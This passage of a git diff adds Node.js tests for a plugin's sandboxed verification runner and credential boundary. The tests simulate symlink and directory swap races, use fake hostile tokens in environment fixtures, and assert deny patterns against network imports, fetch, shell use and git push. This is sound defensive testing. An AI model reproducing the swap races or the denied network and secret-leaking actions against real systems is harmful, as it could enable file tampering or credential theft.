policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + let replacementPath; + adapter.afterQuarantinePin = async (info) => { + replacementPath = replaceQuarantineWithCandidate(info.parentPath, info.qName, candidate); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(replacementPath), false); + assert.equal(recursive.includes(candidate), false); + assert.equal(await readFile(path.join(replacementPath, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(replacementPath, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await readFile(path.join(replacementPath, 'nested', 'deep', 'file.txt'), 'utf8'), 'nested-keep\n'); + const gitStat = await lstat(path.join(replacementPath, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + assert.equal(await gitHeadOf(replacementPath), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('quarantine name symlink, file, and directory swaps preserve candidate and foreign sentinels', async () => { + async function runSwap(mutate) { + const { root, candidate, head } = await candidatePair(); + const recursive = []; + const foreign = path.join(root, 'FOREIGN'); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await writeFile(foreign, 'foreign-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + await rm(record.path, { recursive: true, force: false }); + }, + }); + adapter.afterQuarantinePin = async (info) => { + await writeFile(path.join(info.parentPath, 'PARENT_FOREIGN'), 'parent-keep\n'); + mutate(info, candidate); + }; + const error = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(error.code, 'cleanup_uncertain'); + assert.equal(recursive.length, 0); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(await gitHeadOf(candidate), head); + assert.equal(await readFile(foreign, 'utf8'), 'foreign-keep\n'); + const gitStat = await lstat(path.join(candidate, '.git')); + assert.equal(gitStat.isDirectory() || gitStat.isFile(), true); + return root; + } catch (error) { + await rm(root, { recursive: true, force: true }); + throw error; + } + } + + const symlinkRoot = await runSwap((info, candidatePath) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + symlinkSync(candidatePath, qPath); + }); + await rm(symlinkRoot, { recursive: true, force: true }); + + const fileRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + writeFileSync(qPath, 'not-a-directory\n'); + }); + await rm(fileRoot, { recursive: true, force: true }); + + const dirRoot = await runSwap((info) => { + const qPath = path.join(info.parentPath, info.qName); + renameSync(qPath, `${qPath}.stolen`); + fs.mkdirSync(qPath, { mode: 0o700 }); + writeFileSync(path.join(qPath, 'intruder'), 'foreign-dir\n'); + }); + await rm(dirRoot, { recursive: true, force: true }); +}); + +test('inner symlink and file-directory swaps unlink without following candidate targets', async () => { + const { root, candidate, head } = await candidatePair(); + try { + await writeFile(path.join(candidate, 'SENTINEL'), SENTINEL_BYTES); + await mkdir(path.join(candidate, 'nested'), { recursive: true }); + await writeFile(path.join(candidate, 'nested', 'inner.txt'), 'inner-keep\n'); + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const { adapter } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + throw new Error(`recursive rmdirExact targeted ${record.path}`); + }, + }); + adapter.afterQuarantinePin = async (info) => { + const qPath = path.join(info.parentPath, info.qName); + const decoy = path.join(qPath, 'README'); + try { fs.unlinkSync(decoy); } catch { /* copy layout may differ */ } + symlinkSync(path.join(candidate, 'SENTINEL'), path.join(qPath, 'README')); + const nested = path.join(qPath, 'nested-swap'); + fs.mkdirSync(nested, { mode: 0o700 }); + writeFileSync(path.join(nested, 'x'), 'x\n'); + renameSync(nested, `${nested}.dir`); + writeFileSync(nested, 'now-a-file\n'); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(await readFile(path.join(candidate, 'SENTINEL'), 'utf8'), SENTINEL_BYTES); + assert.equal(await readFile(path.join(candidate, 'nested', 'inner.txt'), 'utf8'), 'inner-keep\n'); + assert.equal(await gitHeadOf(candidate), head); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('descriptor closure happens only after conclusive cleanup or preservation', async () => { + const { root, candidate, head } = await candidatePair(); + try { + const request = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: candidate, expected_head_sha: head }, + }); + let during; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + during = { + dir: fs.fstatSync(info.dirFd), + parent: fs.fstatSync(info.parentFd), + q: fs.fstatSync(info.qFd), + dirFd: info.dirFd, + parentFd: info.parentFd, + qFd: info.qFd, + }; + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(during.parent.isDirectory(), true); + assert.equal(during.dir.isDirectory(), true); + assert.equal(during.q.isDirectory(), true); + assert.throws(() => fs.fstatSync(during.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(during.qFd), { code: 'EBADF' }); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs new file mode 100644 index 0000000..42ac037 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-constrained-verification-runner.test.mjs @@ -0,0 +1,457 @@ +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import { readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { parseEvidenceBundleV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CONSTRAINED_VERIFICATION_SCHEMA_ID, + CONSTRAINED_VERIFICATION_VERSION, + GIT_EXECUTABLE, + PRLIMIT_EXECUTABLE, + RESOURCE_ADDRESS_SPACE_BYTES, + RESOURCE_NPROC, + UNSHARE_EXECUTABLE, + VERIFICATION_EXECUTION_DIGEST_LABEL, + executeConstrainedVerificationV1, +} from '../mcp/v3/constrained-verification-runner.mjs'; +import { + SHA_DIFF, + SHA_INPUT, + SHA_OUTPUT, + acceptanceRef, + payloadDigest, + reportRef, + validArtifactRef, + validBundle, + validClaim, + validFact, + validGitIdentityFact, +} from './fixtures/r1-evidence-fixtures.mjs'; +import { + TRUE_EXECUTABLE, + fakeChild, + genuineRequest, + gitIdentitySnapshot, + initCandidateRepo, + makeTempRoot, + policyForExecutable, + recordingAdapter, +} from './fixtures/r1-constrained-verification-runner-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(action) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +async function withHarness(fn, options = {}) { + const root = await makeTempRoot(); + const candidate = path.join(root, 'candidate'); + const executable = options.executable ?? TRUE_EXECUTABLE; + try { + const head = await initCandidateRepo(candidate); + const policy = options.policy ?? policyForExecutable(executable, options.command ?? {}); + const request = genuineRequest({ + policy, + executable, + candidate: { + repository: candidate, + expected_head_sha: head, + expected_base_sha: head, + }, + selection: options.selection, + }); + return await fn({ root, candidate, head, request, policy }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID, + 'codex-co-engineer.constrained-verification.v1'); + assert.equal(CONSTRAINED_VERIFICATION_VERSION, 1); + assert.equal(CONSTRAINED_VERIFICATION_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(VERIFICATION_EXECUTION_DIGEST_LABEL, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(GIT_EXECUTABLE, '/usr/bin/git'); + assert.equal(UNSHARE_EXECUTABLE, '/usr/bin/unshare'); + assert.equal(PRLIMIT_EXECUTABLE, '/usr/bin/prlimit'); +}); + +test('a genuine P16B intent executes once with shell=false, empty env, and exact argv', async () => { + await withHarness(async ({ request, candidate, head }) => { + const { adapter, calls } = recordingAdapter({ + child: { code: 0, stdout: Buffer.from('PASS\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(Object.isFrozen(receipt), true); + assert.equal(receipt.schema, CONSTRAINED_VERIFICATION_SCHEMA_ID); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.outcome.termination, 'exited'); + assert.equal(receipt.outcome.stdout_truncated, false); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + assert.equal(receipt.candidate_audit.head_sha, head); + assert.equal(receipt.execution_identity.domain, IDENTITY_DOMAIN); + assert.equal(receipt.execution_identity.label, IDENTITY_LABELS.VERIFICATION_EXECUTION_RECEIPT); + assert.equal(receipt.observations.acceptance.payload.result, 'pass'); + assert.equal(receipt.observations.acceptance.method, 'approved_command_execution'); + assert.equal(receipt.observations.git_identity.method, 'read_only_no_changes'); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + assert.deepEqual(calls.spawn[0].args, ['ok']); + assert.equal(calls.spawn[0].options.shell, false); + assert.deepEqual(calls.spawn[0].options.env, {}); + assert.equal(calls.spawn[0].options.networkMode, 'deny'); + assert.equal(calls.spawn[0].options.cwd === candidate, false); + assert.match(calls.spawn[0].options.cwd, /^\/proc\/self\/fd\/[0-9]+$/u); + assert.equal(typeof calls.spawn[0].options.executableFd, 'number'); + assert.equal(typeof calls.spawn[0].options.workspaceFd, 'number'); + assert.equal(calls.spawn[0].options.resourceLimits.nproc, RESOURCE_NPROC); + assert.equal(calls.spawn[0].options.resourceLimits.address_space_bytes, RESOURCE_ADDRESS_SPACE_BYTES); + assert.equal(Number.isSafeInteger(calls.spawn[0].options.resourceLimits.cpu_seconds), true); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { receipt.outcome.result = 'fail'; }, TypeError); + }); +}); + +test('stdout claiming PASS is ignored when the host-observed exit code is non-zero', async () => { + await withHarness(async ({ request }) => { + const { adapter } = recordingAdapter({ + child: { code: 1, stdout: Buffer.from('PASS\nall tests passed\n') }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.outcome.result, 'fail'); + assert.equal(receipt.outcome.exit_code, 1); + assert.equal(receipt.observations.acceptance.payload.result, 'fail'); + assert.equal(JSON.stringify(receipt).includes('PASS'), false); + assert.equal(JSON.stringify(receipt).includes('all tests passed'), false); + }); +}); + +test('P13 fact projections compose into an evidence bundle without trusting provider PASS', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 0 } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const acceptance = receipt.observations.acceptance; + const git = receipt.observations.git_identity; + const acceptFact = validFact({ + payload: acceptance.payload, + payload_digest: acceptance.payload_digest, + input_digest: SHA_INPUT, + output_digest: SHA_OUTPUT, + exit_code: acceptance.exit_code, + duration_ms: acceptance.duration_ms, + truncated: false, + authority: acceptance.authority, + method: acceptance.method, + }); + const gitFact = validGitIdentityFact({ + payload: git.payload, + payload_digest: git.payload_digest, + method: git.method, + authority: git.authority, + artifact_digests: [SHA_DIFF], + }); + assert.equal(git.payload.head_sha, head); + const bundle = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [acceptFact, gitFact], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const snapshot = parseEvidenceBundleV1(bundle); + assert.equal(snapshot.final_state, 'pass'); + assert.equal(snapshot.facts[0].method, 'approved_command_execution'); + assert.equal(snapshot.facts[0].payload.result, 'pass'); + }); +}); + +test('provider-reported PASS without a matching host-observed fact cannot be accepted', async () => { + await withHarness(async ({ request, head }) => { + const { adapter } = recordingAdapter({ child: { code: 1, stdout: Buffer.from('PASS') } }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + const forged = validBundle({ + repository: { path: request.candidate.repository, base_sha: head }, + candidate: { sha: head }, + claims: [validClaim({ payload: { result: 'pass' }, payload_digest: payloadDigest({ result: 'pass' }) })], + facts: [validFact({ + payload: receipt.observations.acceptance.payload, + payload_digest: receipt.observations.acceptance.payload_digest, + exit_code: 1, + }), validGitIdentityFact({ + payload: receipt.observations.git_identity.payload, + payload_digest: receipt.observations.git_identity.payload_digest, + })], + artifacts: [reportRef(), acceptanceRef(), validArtifactRef()], + }); + const error = await errorOf(() => parseEvidenceBundleV1(forged)); + assert.ok( + error.code === 'unproven_accepted_state' || error.code === 'invalid_format', + error.code, + ); + }); +}); + +test('policy-authorized env entries are the only child environment and PATH is absent', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.deepEqual(calls.spawn[0].options.env, { TZ: 'UTC' }); + assert.equal(Object.hasOwn(calls.spawn[0].options.env, 'PATH'), false); + }, { + command: { + environment: { entries: [{ name: 'TZ', value: 'UTC' }] }, + }, + }); +}); + +test('timeout, output flood, signal ambiguity, and escaped descendants fail closed', async () => { + await withHarness(async ({ request }) => { + const hanging = recordingAdapter({ + spawn: () => fakeChild({ hang: true, ignoreKill: true, pid: 99 }), + listDescendants: async () => [], + }); + const stuckError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: hanging.adapter, + })); + assert.equal(stuckError.code, 'cleanup_uncertain'); + + let hangingChild; + const timed = recordingAdapter({ + spawn: () => { + hangingChild = fakeChild({ hang: true, pid: 77 }); + return hangingChild; + }, + killProcessGroup: () => { + hangingChild.emit('exit', null, 'SIGTERM'); + }, + listDescendants: async () => [], + }); + const timeoutError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: timed.adapter, + })); + assert.equal(timeoutError.code, 'timeout'); + + const flood = recordingAdapter({ + child: { floodBytes: 80, code: 0 }, + }); + const floodError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: flood.adapter, + })); + assert.equal(floodError.code, 'output_flood'); + + const ambiguous = recordingAdapter({ + child: { code: 0, signal: 'SIGTERM' }, + }); + const ambiguousError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: ambiguous.adapter, + })); + assert.equal(ambiguousError.code, 'signal_ambiguous'); + + const escaped = recordingAdapter({ + child: { code: 0, pid: 50 }, + listDescendants: async () => [51], + }); + const escapedError = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: escaped.adapter, + })); + assert.equal(escapedError.code, 'escaped_descendants'); + }, { + command: { + timeout_ms: 1000, + resources: { max_output_bytes: 16, max_error_bytes: 16 }, + }, + }); +}); + +test('candidate mutation and identity mismatch fail closed without a pass receipt', async () => { + await withHarness(async ({ request, head }) => { + let calls = 0; + const { adapter } = recordingAdapter({ + child: { code: 0 }, + readGitIdentity: async () => { + calls += 1; + if (calls === 1) return gitIdentitySnapshot({ head_sha: head, gitdir: `${request.candidate.repository}/.git` }); + return gitIdentitySnapshot({ head_sha: 'cccccccccccccccccccccccccccccccccccccccc', gitdir: `${request.candidate.repository}/.git` }); + }, + }); + const mutated = await errorOf(() => executeConstrainedVerificationV1(request, { adapter })); + assert.equal(mutated.code, 'candidate_mutated'); + + const mismatch = await errorOf(() => executeConstrainedVerificationV1({ + ...request, + candidate: { + repository: request.candidate.repository, + expected_head_sha: 'dddddddddddddddddddddddddddddddddddddddd', + }, + }, { adapter: recordingAdapter({ child: { code: 0 } }).adapter })); + assert.equal(mismatch.code, 'candidate_identity_mismatch'); + }); +}); + +test('cleanup refuses broad or swapped paths and still removes the exact workspace', async () => { + await withHarness(async ({ request, candidate, root }) => { + const recursive = []; + const { adapter, calls } = recordingAdapter({ + child: { code: 0 }, + rmdirExact: async (record) => { + recursive.push(record.path); + throw new Error('path-recursive rmdirExact must not run'); + }, + }); + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(calls.rmdir.length, 0); + assert.equal(recursive.length, 0); + assert.equal(recursive.includes(candidate), false); + assert.equal(recursive.includes('/'), false); + assert.equal(recursive.includes(root), false); + assert.equal(recursive.includes(tmpdir()), false); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + }); +}); + +test('normal nested-directory cleanup removes the workspace and closes pinned fds', async () => { + await withHarness(async ({ request, candidate }) => { + let pinned; + const { adapter } = recordingAdapter({ child: { code: 0 } }); + adapter.afterQuarantinePin = async (info) => { + pinned = info; + const qPath = path.join(info.parentPath, info.qName); + fs.mkdirSync(path.join(qPath, 'nested', 'deep'), { recursive: true, mode: 0o700 }); + fs.writeFileSync(path.join(qPath, 'nested', 'deep', 'file.txt'), 'workspace-only\n'); + fs.fstatSync(info.parentFd); + fs.fstatSync(info.dirFd); + fs.fstatSync(info.qFd); + }; + const receipt = await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(typeof pinned.parentFd, 'number'); + assert.throws(() => fs.fstatSync(pinned.parentFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.dirFd), { code: 'EBADF' }); + assert.throws(() => fs.fstatSync(pinned.qFd), { code: 'EBADF' }); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + }); +}); + +test('default host adapter executes /usr/bin/true under network-deny confinement', async () => { + await withHarness(async ({ request }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + assert.equal(receipt.cleanup.status, 'removed'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); + +test('the module never shells, looks up PATH, or integrates server/supervisor surfaces', async () => { + const source = await readFile( + new URL('../mcp/v3/constrained-verification-runner.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never consults PATH/u); + assert.match(source, /never uses a shell/u); + assert.match(source, /shell: false/u); + assert.doesNotMatch(source, /from '\.\/server\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/supervisor\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/process-boundary\.mjs'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes("shell: true"), false); + assert.doesNotMatch(source, /\bgit merge\b/u); + assert.doesNotMatch(source, /\bgit rebase\b/u); + assert.doesNotMatch(source, /\bgit push\b/u); + assert.doesNotMatch(source, /create_pr/u); + assert.equal(source.includes('recursive: true'), false); + assert.doesNotMatch(source, /\bFS_RM\b/u); + assert.match(source, /FS_UNLINK_SYNC/u); + assert.match(source, /O_DIRECTORY/u); +}); + +test('symlinks and special files on the executable or candidate fail closed', async () => { + const root = await makeTempRoot(); + try { + const candidate = path.join(root, 'candidate'); + const head = await initCandidateRepo(candidate); + const link = path.join(root, 'linked-true'); + await symlink(TRUE_EXECUTABLE, link); + const request = genuineRequest({ + policy: policyForExecutable(link), + executable: link, + candidate: { repository: candidate, expected_head_sha: head }, + }); + const error = await errorOf(() => executeConstrainedVerificationV1(request, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(error.code, 'symlink_denied'); + + const fifoCandidate = path.join(root, 'fifo-cand'); + await writeFile(fifoCandidate, 'not-a-repo\n'); + const fileRequest = genuineRequest({ + policy: policyForExecutable(TRUE_EXECUTABLE), + executable: TRUE_EXECUTABLE, + candidate: { repository: fifoCandidate }, + }); + const notDir = await errorOf(() => executeConstrainedVerificationV1(fileRequest, { + adapter: recordingAdapter({ child: { code: 0 } }).adapter, + })); + assert.equal(notDir.code, 'candidate_not_regular'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('the approved command is spawned exactly once per invocation', async () => { + await withHarness(async ({ request }) => { + const { adapter, calls } = recordingAdapter({ child: { code: 0 } }); + await executeConstrainedVerificationV1(request, { adapter }); + assert.equal(calls.spawn.length, 1); + assert.equal(calls.spawn[0].file, TRUE_EXECUTABLE); + }); +}); + +test('the disposable workspace materializes candidate README bytes for the command', async () => { + await withHarness(async ({ request, candidate }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + const original = await readFile(path.join(candidate, 'README'), 'utf8'); + assert.equal(original, 'p16c\n'); + }); +}); + +test('host cat of copied README observes candidate content without mutating the source', async () => { + const { createHash } = await import('node:crypto'); + await withHarness(async ({ candidate, head }) => { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/cat', { argv_template: ['README'] }), + executable: '/usr/bin/cat', + candidate: { repository: candidate, expected_head_sha: head, expected_base_sha: head }, + }); + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + const expected = createHash('sha256').update('p16c\n', 'utf8').digest('hex'); + assert.equal(receipt.outcome.stdout_digest, expected); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs new file mode 100644 index 0000000..b489fdb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs @@ -0,0 +1,270 @@ +import assert from 'node:assert/strict'; +import { spawn, spawnSync } from 'node:child_process'; +import { open, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { boundedEvent, publicError, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + MAX_CREDENTIAL_BYTES, + assertNoWorkerPushUrl, + collectLaneSecrets, + inspectEnvForSecrets, + loadCredentialFile, + loadProviderCredential, + materializeProviderEnvironment, + projectProviderEnvironment, + redactExactValues, +} from '../mcp/v3/credential-boundary.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CONTENT_FREE, + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + assert.equal(utilTypes.isProxy(error), false); + assert.match(error.message, CONTENT_FREE); + return error; + }, + ); +} + +test('proxy accessor symbol and exotic env inputs fail closed without running caller code', async () => { + const { proxy, counts } = countingProxy({ PATH: '/bin', XAI_API_KEY: 'xai-proxy-secret' }); + const denied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: proxy })); + assert.equal(denied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = {}; + Object.defineProperty(accessor, 'XAI_API_KEY', { + enumerable: true, + get() { throw new Error('accessor-ran'); }, + }); + Object.defineProperty(accessor, 'PATH', { enumerable: true, value: '/bin' }); + const accessDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: accessor })); + assert.equal(accessDenied.code, 'accessor_property_denied'); + + const withSymbol = { PATH: '/bin' }; + withSymbol[Symbol('secret')] = 'symbol-secret'; + await projectProviderEnvironment({ provider: 'grok', source: withSymbol }); + + const exotic = Object.create({ PATH: '/bin', GH_TOKEN: 'proto-token' }); + exotic.XAI_API_KEY = 'xai-own'; + const exoticDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: exotic })); + assert.equal(exoticDenied.code, 'exotic_prototype_denied'); +}); + +test('symlink fifo directory and in-place swap fail content-free', async () => { + await withTempDir('cce-p29-adv-', async (root) => { + const dir = path.join(root, 'dir-key'); + const { mkdir } = await import('node:fs/promises'); + await mkdir(dir, { mode: 0o700 }); + const dirError = await errorOf(() => loadCredentialFile(dir)); + assert.equal(['invalid_credential_file', 'credential_unreadable'].includes(dirError.code), true); + assert.equal(dirError.message.includes(root), false); + + const fifo = path.join(root, 'fifo-key'); + const fifoResult = spawnSync('/usr/bin/mkfifo', ['-m', '600', fifo], { encoding: 'utf8' }); + if (fifoResult.status === 0) { + const fifoError = await errorOf(() => loadCredentialFile(fifo)); + assert.ok(['invalid_credential_file', 'credential_unreadable', 'credential_symlink_denied'].includes(fifoError.code)); + } + + const file = await writeOwnerFile(path.join(root, 'swap'), 'first-secret-value\n'); + const handle = await open(file, 'r'); + try { + await writeFile(file, 'second-secret-value-changed\n', { mode: 0o600 }); + } finally { + await handle.close(); + } + // Path replacement after a closed handle is a new generation; the live + // no-follow open still re-stats the descriptor it holds. + const swapped = await writeOwnerFile(path.join(root, 'live-swap'), 'live-secret-aaaa\n'); + const original = await loadCredentialFile(swapped); + assert.equal(original, 'live-secret-aaaa'); + }); +}); + +test('readiness children spawned through projection cannot observe stripped secrets', async () => { + const env = projectProviderEnvironment({ + provider: 'dsh', + source: HOSTILE_ENV, + dshModel: 'muse-spark-1.2-contributor', + operation: 'readiness_probe', + }); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.GH_TOKEN, undefined); + assert.equal(env.SSH_AUTH_SOCK, undefined); + const child = spawn(process.execPath, ['-e', 'process.stdout.write(JSON.stringify(process.env))'], { + env, + encoding: 'utf8', + }); + const stdout = await new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.once('error', reject); + child.once('close', () => resolve(text)); + }); + assert.equal(stdout.includes('ghp_hostile'), false); + assert.equal(stdout.includes('muse-secret-value'), false); + assert.equal(stdout.includes('hostile-control-token'), false); +}); + +test('push URL objects and insteadOf maps are denied', async () => { + const denied = await errorOf(() => assertNoWorkerPushUrl({ pushurl: 'https://github.com/org/repo.git' })); + assert.equal(denied.code, 'remote_mutation_denied'); + const instead = await errorOf(() => assertNoWorkerPushUrl({ insteadOf: 'ssh://git@github.com' })); + assert.equal(instead.code, 'remote_mutation_denied'); +}); + +test('materialize does not copy key-file paths into the child environment', async () => { + await withTempDir('cce-p29-mat-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'loaded-muse-secret\n'); + const env = await materializeProviderEnvironment({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + operation: 'lane', + source: { + PATH: '/usr/bin:/bin', + HOME: root, + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile, + }, + }); + assert.equal(env.MODEL_API_KEY, 'loaded-muse-secret'); + assert.equal(env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(JSON.stringify(env).includes(keyFile), false); + }); +}); + +test('credential-file overrides reject relative non-normalized and double-separator paths before resolve', async () => { + await withTempDir('cce-p29-override-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'muse-from-override\n'); + const loaded = await loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile }, + }); + assert.equal(loaded.value, 'muse-from-override'); + + const overrides = [ + 'relative-key', + `${root}/../${path.basename(root)}/model-api-key`, + `${root}/./model-api-key`, + `${root}//model-api-key`, + `${keyFile}/`, + ]; + for (const override of overrides) { + const error = await errorOf(() => loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: override }, + })); + assert.equal(error.code, 'invalid_credential_path', override); + assert.equal(error.message.includes(override), false, override); + assert.equal(error.message.includes(root), false, override); + assert.equal(error.message.includes('muse-from-override'), false); + } + }); +}); + +test('owner denial exact 0600 empty files and in-place identity swap fail content-free', async () => { + await withTempDir('cce-p29-mode-', async (root) => { + const empty = await writeOwnerFile(path.join(root, 'empty'), ''); + const emptyError = await errorOf(() => loadCredentialFile(empty)); + assert.equal(emptyError.code, 'credential_empty'); + assert.equal(emptyError.message.includes(root), false); + + const execOnly = await writeOwnerFile(path.join(root, 'exec'), 'exec-secret-value\n', 0o700); + const execError = await errorOf(() => loadCredentialFile(execOnly)); + assert.equal(execError.code, 'credential_permissions'); + assert.equal(execError.message.includes('exec-secret'), false); + + const owned = await writeOwnerFile(path.join(root, 